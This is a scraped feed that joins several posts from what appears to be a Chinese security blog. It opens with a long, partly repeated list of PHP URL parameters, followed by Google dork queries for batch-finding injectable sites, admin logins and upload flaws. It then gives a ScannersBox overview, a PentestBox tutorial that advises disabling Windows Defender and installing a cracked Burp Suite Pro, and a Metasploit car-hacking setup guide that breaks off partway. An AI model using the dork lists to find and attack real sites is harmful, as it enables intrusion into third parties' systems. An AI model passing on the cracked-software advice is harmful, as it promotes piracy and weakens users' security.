Pages/whichArticle.php?id=
view_items.php?id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=
comersus_optReviewReadExec.php?idProduct=
comersus_viewItem.php?idProduct=
comments_form.php?ID=
contact.php?cartId=
content.php?id=
customerService.php?****ID1=
default.php?catID=
description.php?bookid=
details.php?BookID=
details.php?Press_Release_ID=
details.php?Product_ID=
details.php?Service_ID=
display_item.php?id=
displayproducts.php
downloadTrial.php?intProdID=
emailproduct.php?itemid=
emailToFriend.php?idProduct=
events.php?ID=
faq.php?cartID=
faq_list.php?id=
faqs.php?id=
shippinginfo.php?CartId=
shop.php?a=
shop.php?action=
shop.php?bookid=
shop.php?cartID=
shop_details.php?prodid=
shopaddtocart.php
shopaddtocart.php?catalogid=
shopbasket.php?bookid=
shopbycategory.php?catid=
shopcart.php?title=
shopcreatorder.php
shopcurrency.php?cid=
shopdc.php?bookid=
shopdisplaycategories.php
shopdisplayproduct.php?catalogid=
shopdisplayproducts.php
shopexd.php
shopexd.php?catalogid=
shopping_basket.php?cartID=
shopprojectlogin.php
shopquery.php?catalogid=
shopremoveitem.php?cartid=
shopreviewadd.php?id=
shopreviewlist.php?id=
ShopSearch.php?CategoryID=
shoptellafriend.php?id=
shopthanks.php
shopwelcome.php?title=
show_item.php?id=
show_item_details.php?item_id=
showbook.php?bookid=
showStore.php?catID=
shprodde.php?SKU=
specials.php?id=
store.php?id=
store_bycat.php?id=
store_listing.php?id=
Store_ViewProducts.php?Cat=
store-details.php?id=
storefront.php?id=
storefronts.php?title=
storeitem.php?item=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
forum/profile.php?id=
media/pr.php?id=
content.php?ID=
cloudbank/detail.php?ID=
pages.php?id=
news.php?id=
beitrag_D.php?id=
content/index.php?id=
index.php?i=
?action=
index.php?page=
beitrag_F.php?id=
index.php?pageid=
page.php?modul=
detail.php?id=
index.php?w=
index.php?modus=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
wiki/pmwiki.php?page****=
summary.php?PID=
message/comment_threads.php?postID=
artist_art.php?id=
products.php?cat=
index.php?option=
ov_tv.php?item=
index.php?lang=
showproduct.php?cat=
index.php?lang=
product.php?bid=
product.php?bid=
cps/rde/xchg/tm/hs.xsl/liens_detail.html?lnkId=
item_show.php?lid=
?pagerequested=
downloads.php?id=
print.php?sid=
print.php?sid=
product.php?intProductID=
productList.php?id=
product.php?intProductID=
more_details.php?id=
more_details.php?id=
books.php?id=
index.php?offs=
mboard/replies.php?parent_id=
Computer Science.php?id=
news.php?id=
pdf_post.php?ID=
reviews.php?id=
art.php?id=
prod.php?cat=
event_info.php?p=
view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
english/board/view****.php?code=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
index.php?page=
item/detail.php?num=
features/view.php?id=
site/?details&prodid=
product_info.php?products_id=
remixer.php?id=
proddetails_print.php?prodid=
pylones/item.php?item=
index.php?cont=
product.php?ItemId=
video.php?id=
detail.php?item_id=
filemanager.php?delete=
news/newsletter.php?id=
shop/home.php?cat=
designcenter/item.php?id=
board/kboard.php?board=
index.php?id=
board/view_temp.php?table=
magazine-details.php?magid=
about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=
comersus_optReviewReadExec.php?idProduct=
comersus_viewItem.php?idProduct=
comments_form.php?ID=
contact.php?cartId=
content.php?id=
customerService.php?****ID1=
default.php?catID=
description.php?bookid=
details.php?BookID=
details.php?Press_Release_ID=
details.php?Product_ID=
details.php?Service_ID=
display_item.php?id=
displayproducts.php
downloadTrial.php?intProdID=
emailproduct.php?itemid=
emailToFriend.php?idProduct=
events.php?ID=
faq.php?cartID=
faq_list.php?id=
faqs.php?id=
feedback.php?title=
freedownload.php?bookid=
fullDisplay.php?item=
getbook.php?bookid=
GetItems.php?itemid=
giftDetail.php?id=
help.php?CartId=
home.php?id=
index.php?cart=
index.php?cartID=
index.php?ID=
info.php?ID=
item.php?eid=
item.php?item_id=
item.php?itemid=
item.php?model=
item.php?prodtype=
item.php?shopcd=
item_details.php?catid=
item_list.php?maingroup
item_show.php?code_no=
itemDesc.php?CartId=
itemdetail.php?item=
itemdetails.php?catalogid=
learnmore.php?cartID=
links.php?catid=
list.php?bookid=
List.php?CatID=
listcategoriesandproducts.php?idCategory=
modline.php?id=
myaccount.php?catid=
news.php?id=
order.php?BookID=
order.php?id=
order.php?item_ID=
OrderForm.php?Cart=
page.php?PartID=
payment.php?CartID=
pdetail.php?item_id=
powersearch.php?CartId=
price.php
privacy.php?cartID=
prodbycat.php?intCatalogID=
prodetails.php?prodid=
prodlist.php?catid=
product.php?bookID=
product.php?intProdID=
product_info.php?item_id=
productDetails.php?idProduct=
productDisplay.php
productinfo.php?item=
productlist.php?ViewType=Category&CategoryID=
productpage.php
products.php?ID=
products.php?keyword=
products_category.php?CategoryID=
products_detail.php?CategoryID=
productsByCategory.php?intCatalogID=
prodView.php?idProduct=
promo.php?id=
promotion.php?catid=
pview.php?Item=
resellers.php?idCategory=
results.php?cat=
savecart.php?CartId=
search.php?CartID=
searchcat.php?search_id=
Select_Item.php?id=
Services.php?ID=
shippinginfo.php?CartId=
shop.php?a=
shop.php?action=
shop.php?bookid=
shop.php?cartID=
shop_details.php?prodid=
shopaddtocart.php
shopaddtocart.php?catalogid=
shopbasket.php?bookid=
shopbycategory.php?catid=
shopcart.php?title=
shopcreatorder.php
shopcurrency.php?cid=
shopdc.php?bookid=
shopdisplaycategories.php
shopdisplayproduct.php?catalogid=
shopdisplayproducts.php
shopexd.php
shopexd.php?catalogid=
shopping_basket.php?cartID=
shopprojectlogin.php
shopquery.php?catalogid=
shopremoveitem.php?cartid=
shopreviewadd.php?id=
shopreviewlist.php?id=
ShopSearch.php?CategoryID=
shoptellafriend.php?id=
shopthanks.php
shopwelcome.php?title=
show_item.php?id=
show_item_details.php?item_id=
showbook.php?bookid=
showStore.php?catID=
shprodde.php?SKU=
specials.php?id=
store.php?id=
order.php?BookID=
order.php?id=
order.php?item_ID=
OrderForm.php?Cart=
page.php?PartID=
payment.php?CartID=
pdetail.php?item_id=
powersearch.php?CartId=
price.php
privacy.php?cartID=
prodbycat.php?intCatalogID=
prodetails.php?prodid=
prodlist.php?catid=
product.php?bookID=
product.php?intProdID=
product_info.php?item_id=
productDetails.php?idProduct=
productDisplay.php
productinfo.php?item=
productlist.php?ViewType=Category&CategoryID=
productpage.php
products.php?ID=
products.php?keyword=
products_category.php?CategoryID=
products_detail.php?CategoryID=
productsByCategory.php?intCatalogID=
prodView.php?idProduct=
promo.php?id=
promotion.php?catid=
pview.php?Item=
resellers.php?idCategory=
results.php?cat=
savecart.php?CartId=
search.php?CartID=
searchcat.php?search_id=
Select_Item.php?id=
Services.php?ID=
stat.php?id=
products.php?cat_id=
free_board/board_view.html?page=
item.php?id=
view_items.php?id=
main.php?prodID=
gb/comment.php?gb_id=
gb/comment.php?gb_id=
classifieds/showproduct.php?product=
view.php?pageNum_rscomp=
cart/addToCart.php?cid=
content/pages/index.php?id_cat=
content.php?id
Sales/view_item.php?id=
book.php?isbn=
knowledge_base/detail.php?id=
gallery/gallery.php?id=
event.php?id=
detail.php?id=
store/home.php?cat=
view_items.php?id=
detail.php?ID=
event_details.php?id=
detailedbook.php?isbn=
fatcat/home.php?view=
events/index.php?id=
static.php?id=
answer/default.php?pollID=
news/detail.php?id=
view_items.php?id=
events/unique_event.php?ID=
gallery/detail.php?ID=
print.php?sid=
view_items.php?id=
board/showthread.php?t=
book.php?id=
event.php?id=
more_detail.php?id=
knowledge_base/detail.php?id=
html/print.php?sid=
index.php?id=
content.php?ID=
Shop/home.php?cat=
store/home.php?cat=
print.php?sid=
gallery.php?id=
resources/index.php?cat=
events/event.php?id=
view_items.php?id=
default.php?cPath=
content.php?id=
products/products.php?p=
auction/item.php?id=
products.php?cat=
clan_page.php?cid=
product.php?sku=
item.php?id=
events?id=
comments.php?id=
products/?catID=
modules.php?****=
fshstatistic/index.php?PID=
products/products.php?p=
sport.php?revista=
products.php?p=
products.php?openparent=
home.php?cat=
news/shownewsarticle.php?articleid=
discussions/10/9/?CategoryID=
trailer.php?id=
news.php?id=
?page=
product-range.php?rangeID=
en/news/fullnews.php?newsid=
deal_coupon.php?cat_id=
show.php?id=
blog/index.php?idBlog=
redaktion/whiteteeth/detail.php?nr=
HistoryStore/pages/item.php?itemID=
aktuelles/veranstaltungen/detail.php?id=
tecdaten/showdetail.php?prodid=
?id=
rating/stat.php?id=
content.php?id=
viewapp.php?id=
item.php?id=
news/newsitem.php?newsID=
FernandFaerie/index.php?c=
show.php?id=
?cat=
categories.php?cat=
category.php?c=
product_info.php?id=
prod.php?cat=
store/product.php?productid=
browsepr.php?pr=
product-list.php?cid=
products.php?cat_id=
product.php?ItemID=
category.php?c=
main.php?id=
article.php?id=
showproduct.php?productId=
view_item.php?item=
skunkworks/content.php?id=
index.php?id=
item_show.php?id=
publications.php?Id=
index.php?t=
view_items.php?id=
portafolio/portafolio.php?id=
YZboard/view.php?id=
index_en.php?ref=
index_en.php?ref=
category.php?id_category=
main.php?id=
main.php?id=
calendar/event.php?id=
default.php?cPath=
pages/print.php?id=
index.php?pg_t=
_news/news.php?id=
forum/showProfile.php?id=
fr/commande-liste-categorie.php?panier=
downloads/shambler.php?id=
sinformer/n/imprimer.php?id=
More_Details.php?id=
directory/contenu.php?id_cat=
properties.php?id_cat=
forum/showProfile.php?id=
downloads/category.php?c=
index.php?cat=
product_info.php?products_id=
product_info.php?products_id=
product-list.php?category_id=
detail.php?siteid=
projects/event.php?id=
view_items.php?id=
more_details.php?id=
melbourne_details.php?id=
more_details.php?id=
detail.php?id=
more_details.php?id=
home.php?cat=
idlechat/message.php?id=
detail.php?id=
print.php?sid=
more_details.php?id=
default.php?cPath=
events/event.php?id=
brand.php?id=
toynbeestudios/content.php?id=
show-book.php?id=
more_details.php?id=
store/default.php?cPath=
property.php?id=
product_details.php?id=
more_details.php?id=
view-event.php?id=
content.php?id=
book.php?id=
page/venue.php?id=
print.php?sid=
colourpointeducational/more_details.php?id=
print.php?sid=
browse/book.php?journalID=
section.php?section=
bookDetails.php?id=
profiles/profile.php?profileid=
event.php?id=
gallery.php?id=
category.php?CID=

corporate/newsreleases_more.php?id=
print.php?id=
modules/forum/index.php?topic_id=
feature.php?id=
products/Blitzball.htm?id=
profile_print.php?id=
questions.php?questionid=
html/scoutnew.php?prodid=
main/index.php?action=
news.php?type=
index.php?page=
viewthread.php?tid=
summary.php?PID=
news/latest_news.php?cat_id=
index.php?cPath=
category.php?CID=
index.php?pid=
more_details.php?id=
specials.php?osCsid=
search/display.php?BookID=
articles.php?id=
print.php?sid=
page.php?id=
more_details.php?id=
newsite/pdf_show.php?id=
shop/category.php?cat_id=
shopcafe-shop-product.php?bookId=
shop/books_detail.php?bookID=
index.php?cPath=
more_details.php?id=
news.php?id=
more_details.php?id=
shop/books_detail.php?bookID=
more_details.php?id=
blog.php?blog=
index.php?pid=
prodotti.php?id_cat=
category.php?CID=
more_details.php?id=
poem_list.php?bookID=
more_details.php?id=
content.php?categoryId=
authorDetails.php?bookID=
press_release.php?id=
item_list.php?cat_id=
colourpointeducational/more_details.php?id=
index.php?pid=
download.php?id=
shop/category.php?cat_id=
i-know/content.php?page=
store/index.php?cat_id=
product.php?pid=
showproduct.php?prodid=
product.php?productid=
productlist.php?id=
index.php?pageId=
summary.php?PID=
productlist.php?grpid=
cart/product.php?productid=
db/CART/product_details.php?product_id=
ProductList.php?id=
products/product.php?id=
product.php?shopprodid=
product_info.php?products_id=
product_ranges_view.php?ID=
cei/cedb/projdetail.php?projID=
products.php?DepartmentID=
product.php?shopprodid=
product.php?shopprodid=
product_info.php?products_id=
index.php?news=
education/content.php?page=
Interior/productlist.php?id=
products.php?categoryID=
modules.php?****=
message/comment_threads.php?postID=
artist_art.php?id=
products.php?cat=
index.php?option=
ov_tv.php?item=
index.php?lang=
showproduct.php?cat=
index.php?lang=
product.php?bid=
product.php?bid=
cps/rde/xchg/tm/hs.xsl/liens_detail.html?lnkId=
item_show.php?lid=
?pagerequested=
downloads.php?id=
print.php?sid=
print.php?sid=
product.php?intProductID=
productList.php?id=
product.php?intProductID=
more_details.php?id=
more_details.php?id=
books.php?id=
index.php?offs=
mboard/replies.php?parent_id=
Computer Science.php?id=
news.php?id=
pdf_post.php?ID=
reviews.php?id=
art.php?id=
prod.php?cat=
event_info.php?p=
library.php?cat=
categories.php?cat=
page.php?area_id=
categories.php?cat=
publications.php?id=
item.php?sub_id=
page.php?area_id=
page.php?area_id=
category.php?catid=
content.php?cID=
newsitem.php?newsid=
frontend/category.php?id_category=
news/newsitem.php?newsID=
things-to-do/detail.php?id=
page.php?area_id=
page.php?area_id=
listing.php?cat=
item.php?iid=
customer/home.php?cat=
staff/publications.php?sn=
news/newsitem.php?newsID=
library.php?cat=
main/index.php?uid=
library.php?cat=
shop/eventshop/product_detail.php?itemid=
news/newsitem.php?newsID=
news/newsitem.php?newsID=
library.php?cat=
FullStory.php?Id=
publications.php?ID=
publications/book_reviews/full_review.php?id=
newsitem.php?newsID=
newsItem.php?newsId=
site/en/list_service.php?cat=
page.php?area_id=
product.php?ProductID=
.php?subd=”
.php?subdir=”
.php?category=”
.php?choice=”
.php?class=”
.php?club_id=”
.php?cod.tipo=”
.php?cod=”
.php?conf=”
.php?configFile=”
.php?cont=”
.php?corpo=”
.php?cvsroot=”
.php?d=”
.php?da=”
.php?date=”
.php?debug=”
.php?debut=”
.php?default=”
.php?destino=”
.php?dir=”
.php?display=”
.php?file_id=”
.php?file=”
.php?filepath=”
.php?flash=”
.php?folder=”
.php?for=”
.php?form=”
.php?formatword=”
.php?funcao=”
.php?function=”
.php?g=”
.php?get=”
.php?go=”
.php?gorumDir=”
.php?goto=”
.php?h=”
.php?headline=”
.php?i=”
.php?inc=”
.php?include=”
.php?includedir=”
.php?inter=”
.php?itemid=”
.php?j=”
.php?join=”
.php?jojo=”
.php?l=”
.php?lan=”
.php?lang=”
.php?link=”
.php?load=”
.php?loc=”
.php?m=”
.php?main=”
.php?meio.php=”
.php?meio=”
.php?menu=”
.php?menuID=”
.php?mep=”
.php?month=”
.php?mostra=”
.php?n=”
.php?name=”
.php?nav=”
.php?new=”
.php?news=”
.php?next=”
.php?nextpage=”
.php?o=”
.php?op=”
.php?open=”
.php?option=”
.php?origem=”
.php?Page_ID=”
.php?pageurl=”
.php?para=”
.php?part=”
.php?pg=”
.php?pid=”
.php?place=”
.php?play=”
.php?plugin=”
.php?pm_path=”
.php?pollname=”
.php?post=”
.php?pr=”
.php?prefix=”
.php?prefixo=”
.php?q=”
.php?redirect=”
.php?ref=”
.php?refid=”
.php?regionId=”
.php?release_id=”
.php?release=”
.php?return=”
.php?root=”
.php?S=”
.php?searchcode_id=”
.php?sec=”
.php?secao=”
.php?sect=”
.php?sel=”
.php?server=”
.php?servico=”
.php?sg=”
.php?shard=”
.php?show=”
.php?sid=”
.php?site=”
.php?sourcedir=”
.php?start=”
.php?storyid=”
.php?str=”
.php?subject=”
.php?sufixo=”
.php?systempath=”
.php?t=”
.php?task=”
.php?teste=”
.php?theme_dir=”
.php?thread_id=”
.php?tid=”
.php?title=”
.php?to=”
.php?topic_id=”
.php?type=”
.php?u=”
.php?url=”
.php?urlFrom=”
.php?v=”
.php?var=”
.php?vi=”
.php?view=”
.php?visual=”
.php?wPage=”
.php?y=”
releases_headlines_details.php?id=
store_bycat.php?id=
store_listing.php?id=
Store_ViewProducts.php?Cat=
store-details.php?id=
storefront.php?id=
storefronts.php?title=
storeitem.php?item=
products.php?type=
event.php?id=
showfeature.php?id=
home.php?ID=
tas/event.php?id=
profile.php?id=
details.php?id=
past-event.php?id=
index.php?action=
site/products.php?prodid=
page.php?pId=
resources/vulnerabilities_list.php?id=
site.php?id=
products/index.php?rangeid=
global_projects.php?cid=
publications/view.php?id=
display_page.php?id=
pages.php?ID=
lmsrecords_cd.php?cdid=
product.php?prd=
cat/?catid=
products/product-list.php?id=
debate-detail.php?id=
/calendar.php?l= calendar.php?l=”
/calendar.php?l= calendar.php?l=
/calendar.php?p= calendar.php?p=”
/calendar.php?p= calendar.php?p=
/calendar.php?pg= calendar.php?pg=”
/calendar.php?pg= calendar.php?pg=
/calendar.php?s= calendar.php?s=”
/calendar.php?s= calendar.php?s=

Google hack精简版

site:xx.com 返回所有与该站有关的url
link:xx.com 返回所有与该站做了链接的站
site:xx.com filetype:txt 查找TXT文件 其他的以此类推
查找后台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx
查看上传漏洞
site:xx.com inurl:file
site:xx.com inurl:load
查找注射点
site:xx.com filetype:asp

The post Google hack 查询注入点 批量搜索存在安全隐患的站点 appeared first on 🔰雨苁ℒ🔰.

安全行业开源漏洞扫描器 Scanners Box

$
0
0

安全行业开源漏洞扫描器 Scanners Box

2018年11月12日更新  ctf工具包

安全行业开源漏洞扫描器

Scanners Box是一个集合github平台上的 安全行业开源漏洞扫描器 的仓库,包括子域名枚举、数据库漏洞扫描、弱口令或信息泄漏扫描、端口扫描、指纹识别以及其他大型扫描器或模块化扫描器

子域名枚举扫描器或爆破工具

数据库类漏洞扫描器或爆破工具 安全行业开源漏洞扫描器

弱口令/弱用户名扫描器或爆破工具

物联网设备识别工具或扫描器 安全行业开源漏洞扫描器

反射型或DOM-Based XSS扫描器

企业资产管理或信息泄露搜集工具

webshell检测或木马分析工具

内网渗透或扫描工具 安全行业开源漏洞扫描器

中间件扫描器或指纹识别工具

专用(即特定性针对某些组件)扫描器

无线网络(审计)扫描器 安全行业开源漏洞扫描器

局域网络(本地网络)扫描器

代码审计工具或扫描器 安全行业开源漏洞扫描器

模块化设计扫描器或漏洞检测框架

高级持续性威胁(APT)相关工具

工控系统&大型网络相关安全工具

安全行业开源漏洞扫描器 收集目的

本仓库收集的初衷是为向各类企业安全从业人员提供在企业信息安全防护体系建设过程中可以参考的开源安全扫描工具,以期望企业能够利用这些扫描器对自身业务进行自检,从而提高自身业务安全性

from

The post 安全行业开源漏洞扫描器 Scanners Box appeared first on 🔰雨苁ℒ🔰.

PentestBox 简单使用教程 渗透测试盒子

$
0
0

Pentest Box 简单使用教程 渗透测试盒子

PentestBox 子域名劫持

顾名思义,这是一个渗透工具包,但是不同于绝大多数国内 xx 工具包的是,这里集成的大都是 Linux 下的工具, Kali Linux 上面的常用的很多工具这里面也都集成了。Pentes tBox 是一款 Windows 平台下预配置的便携式开源渗透测试环境。 它打包了所有的安全工具,并且可以在 Windows 系统中原生地运行,有效地降低了对虚拟机或者双启动环境的需求。

介绍

Pentest Box:渗透测试盒子 顾名思义,这是一个渗透工具包,但是不同于绝大多数国内 xx 工具包的是,这里集成的大都是 Linux 下的工具, Kali Linux 上面的常用的很多工具这里面也都集成了。
PentestBox 官网:https://pentestbox.org/zh/
PentestBox
官方的介绍如下:
Pentest Box 是一款 Windows 平台下预配置的便携式开源渗透测试环境
为什么又有一个渗透测试环境?
PentestBox 不同于运行在虚拟机或者双启动环境的 Linux 渗透测试发行版。
它打包了所有的安全工具,并且可以在 Windows 系统中原生地运行,有效地降低了对虚拟机或者双启动环境的需求。
我们发现超过 50% 的渗透测试发行版是运行在 Windows 系统下的虚拟机程序中,这激发我们创造了它。

安装

官网 提示:按照带有 metasploit 的版本的时候得关闭 windows 自带的防火墙, 因为 metasploit 生成的攻击载荷 对于 windows 的安全来说 是个威胁。
所以得关闭 winows 的防火墙。
Windows7 直接在控制面板里面 关闭防火墙即可:
PentestBox
PentestBox
Windows 10 的话,除了关闭上述的防火墙 还得关闭 Windows Defender
在 windows 自带的 设置-更新和安全-Windows Defender 中关闭。
PentestBox
注意 如果没有关闭防火墙的话,Pentest Box 安装的过程中释放的文件 会直接被 防火墙 悄悄的干掉,如果这样的话 就非常的尴尬了,所以 为了方便,建议开始的时候直接关闭防火墙。
直接运行 文件 选择安装的文件位置路径,即可安装,安装其实就是文件的释放,最后整个文件夹大小为 4.55GB 左右
PentestBox
所以我们可以直接 把 Pentest Box 安装在移动硬盘或者 U 盘中,这样就打造了移动渗透工具的平台了,在任意的 windows 系统上运行,这就比 Kali 的 Live U 盘要方便许多

基本文件结构

Pentest Box 共 5 个文件夹, 2 个库文件,一个 bat 批处理和一个 exe 启动程序。
bat 和 exe 都可以启动 Pentest Box
base 文件夹:
PentestBox
里面放了一些工具需要用到的环境变量文件,如:python 、jdk 等
bin 文件夹:
PentestBox
里面的工具基本上足够满足日常的渗透测试要求了
PentestBox

基本操作

软件安装

终端下输入:toolsmanager

打开工具管理器,在这里可以 安装 / 升级 / 卸载 软件
首先,它会从 GitHub 的信息库自动更新,然后会显示菜单。如果没有互联网连接,脚本会等待一段时间,然后显示菜单。如下图:
PentestBox

可以通过选择编号进入相关的模块。例如,如果我选择了Web应用程序类别,然后按10,它会显示:

PentestBox

在这里面 我们就可以安装 这里面列出的工具。
现在,如果你想安装imagejs
然后键入install imagejs
它会安装它。安装后,重启 PentestBox,你所安装的工具会生效。

可以用 toolsmanager 安装的软件列表,具体见这里 modules.pentestbox.com
PentestBox

软件更新

安装软件就酱紫了,如果要更新的话,这里直接输入编号 11

Update all installed Modules 这里就开始更新已经安装的工具了:

PentestBox

PentestBox是一个开源项目,让在PentestBox使用的所有文件都存在于它的Github上库。
终端下输入:update 从它的Github上库,如果有任何更改,然后显示菜单将先进行自我更新。如果没没有互联网连接,脚本会等待一段时间,然后显示菜单。

PentestBox

软件卸载

在toolsmanager 的软件目录里面 我们现在想卸载已经安装过的软件的话,直接键入uninstall + 软件名

假如这里我们想卸载 xssless,然后键入uninstall xssless,这样就会卸载 xssless

PentestBox

键盘快捷键

CTRL + T :要打开新的标签页
CTRL + C :要关闭脚本/程序运行。
CTRL + w :这将关闭当前活动的控制台。
ALT +Enter :Pentestbox 会去全屏。

安装后的调试

因为是国外开源项目的原因,有些配置不符合我们国内的本土风情,举个例子:
Pentest Box 面封装的 atom 编辑器是无法输入汉语的,而且插件也会出现一些问题,比如 minimap 等得重新配置
解决方法:将自己原来的 atom 安装的文里件夹替换 PentestBox 里面的 atom 即可
C:\Users\CTF\AppData\Local\atom\app-1.12.6 (‘CTF’是我自己电脑的用户名)
PentestBox
Pentest Box 封装 Burpsuite 的是 Free 版本的,功能上自然比不上 国内的专业破解版的 Burpsuite
解决方法: 把专业版破解版的 burpsuite 替换进去,并重命名 即可。
PentestBox

添加自己的工具

很多情况下自己的工具 toolsmanager 或默认 Pentest Box 未安装。可以按照下面的指南 来手动添加自己的工具:
需要做两件事情:
1. 下载 / 克隆工具文,
2. 设置别名
别名是基本上是需要 Pentes tBox 控制台通过,例如终端命令的 SqlMap 是一个别名访问 sqlmap。

基于 Python 的工具

首先复制文件到 C:/PentestBox/bin/customtools/下
添加一个别名:编辑customaliases文件 位于/PentestBox/bin/customtools/文件夹下。

 

PentestBox

例如,如果你需要添加一个别名hello的工具,那么它的别名是 hello=python "%pentestbox_ROOT%\bin\customtools\Hello.py" $*
上述行添加到customaliases并保存文件 复制到文件夹下:

 

PentestBox
然后编辑 customaliases 文件
PentestBox
重启你的 Pentest Box ,即可生效
PentestBox

基于 exe 的工具

1.下载/克隆工具文件。
2.设置别名 方法同上, 只是别名这里 设置的格式为:tool="%pentestbox_ROOT%\bin\customtools\tool.exe" $*
举例:我们添加个金典的 小葵解密工具

 

PentestBox
编辑 customaliases 文件
PentestBox
效果如下:
PentestBox

基于 Ruby 的工具和 Java 的工具

语法格式:

Java :tool=start javaw -jar "%pentestbox_ROOT%\bin\customtools\tool.jar" $*

Ruby : wpscan=ruby "%pentestbox_ROOT%\bin\customtools\wpscan\wpscan.rb" $*

 

在 Pentest Box 中添加自己的 Java 和 Ruby 工具,方法的原理是一样的,只是在编辑 customaliases 文件 的时候,语法格式有点区别,Java 和 Ruby 的工具格式 参考上面的格式。

通过网络共享 Pentest Box

考虑你想要在你的办公室,实验室等使用多台计算机上 Pentest Box 喜欢而不是在每个计算机上安装 Pentest Box 的环境中,你可以只安装一台计算机上,共享该文件夹作为一个驱动器上的其他计算机在同一个网络。
PentestBox
更改读取权限读 / 写,并单击共享。
PentestBox
PentestBox
现在在局域网的其他电脑上的的 资源管理器 中的 网络 可以看到共享的文件夹
PentestBox
PentestBox
最后,你可以在你所使用的电脑上安装使用 Pentest Box

from

The post PentestBox 简单使用教程 渗透测试盒子 appeared first on 🔰雨苁ℒ🔰.

使用Metasploit进行汽车安全性测试 入侵汽车

$
0
0

使用Metasploit进行汽车安全性测试

使用Metasploit进行汽车安全性测试

针对汽车的攻击和入侵是当前最前沿的领域和最热门的话题之一。随着自动驾驶汽车技术的发展,在未来这个领域将变得更加重要。作为汽车黑客快速发展的一部分,我最喜欢的黑客工具之一Metasploit也开发了连接汽车的功能和模块。

渗透测试工具 备忘录

使用Metasploit进行汽车安全性测试

如果你当前使用的Metasploit版本没有硬件模块,请进行版本更新获取最新添加的模块。不得不说的是,这只是Metasploit迈向该领域的一小步,而且框架在汽车黑客方面的能力也相当有限,但我相信在不久的将来会有更多更好的汽车黑客模块被添加进来。现在我们的任务是“如何将Metasploit框架连接到汽车网络上”?

使用Metasploit进行汽车安全性测试

如果你之前已阅读过我关于汽车黑客攻击的相关文章,那么你应该知道汽车的汽车中的主导协议是CAN且为串行协议。我们要做的就是通过串行接口连接到汽车的CAN协议。这样,我们就能够通过Metasploit中的几个预建模块在汽车网络上发送恶意流量了。

步骤 1:获取 OBD II 连接器硬件

首先,我们一个可以连接到汽车的ODC II连接器的设备。这里我选择的是相对便宜的ODB II ELM327 蓝牙迷你接口,亚马逊上的价格为8.49美元,可有效地与汽车的CAN网络通信,并通过蓝牙使用Metasploit连接到你的系统。因此你需要配备内置蓝牙的计算机或购买USB蓝牙适配器。有关蓝牙协议的更多信息,请参阅 “Bluetooth Hacking, Part 2: Bluetooth Reconnaissance” 一文。

步骤 2:安装 Serial Port(串口)

CAN协议是一个串行协议,因此我们需要安装 ruby gem “serialport” 。

kali > gem install serialport

安装 Serial Port(串口)

步骤 3:连接蓝牙适配器

接下来,我们需要连接我们的蓝牙适配器与我们汽车中的ELM 327适配器通信。

要连接到ELM 327设备,我们就需要获取到它的MAC地址。我们可以通过使用内置的hcitool工具,扫描蓝牙设备来获取MAC地址。

kali > hcitool scan

使用Metasploit进行汽车安全性测试

根据扫描结果,这里我的MAC地址为00:19:6D:36:4A:9D。

现在,我们使用该MAC地址将我们的蓝牙适配器连接到ELM 327设备。 注意:这里要用双引号将MAC地址括起来,如下所示。

kali > rfcomm connect /dev/rfcomm1 "00:19:6D:36:4A:9D"

使用Metasploit进行汽车安全性测试

步骤 4:运行 ELM 327 继电器

下一步是运行ELM 327继电器,使Metasploit能够与ELM 327芯片组通信。你可以在/usr/share/metasploit-framework/tools/hardware目录下找到它。

kali > cd /usr/share/metasploit-framework/tools/hardware

kali > ls -l

使用Metasploit进行汽车安全性测试

在运行它之前,让我们先来查看下它的帮助信息。

kali > ruby elm327_relay.rb -h

使用Metasploit进行汽车安全性测试

可以看到,我们只需设置两个参数;速度(默认值为115200)和串行设备(默认为/dev/ttyUSB0)。这里的串行设备,可以通过dmesg | grep ttyS*命令进行确定。

现在,使用串行设备运行elm327继电器,并将speed保持为默认值,如下所示。

kali >ruby  elm327_relay.rb -s /dev/ttyS0

步骤 5:启动 Metasploit

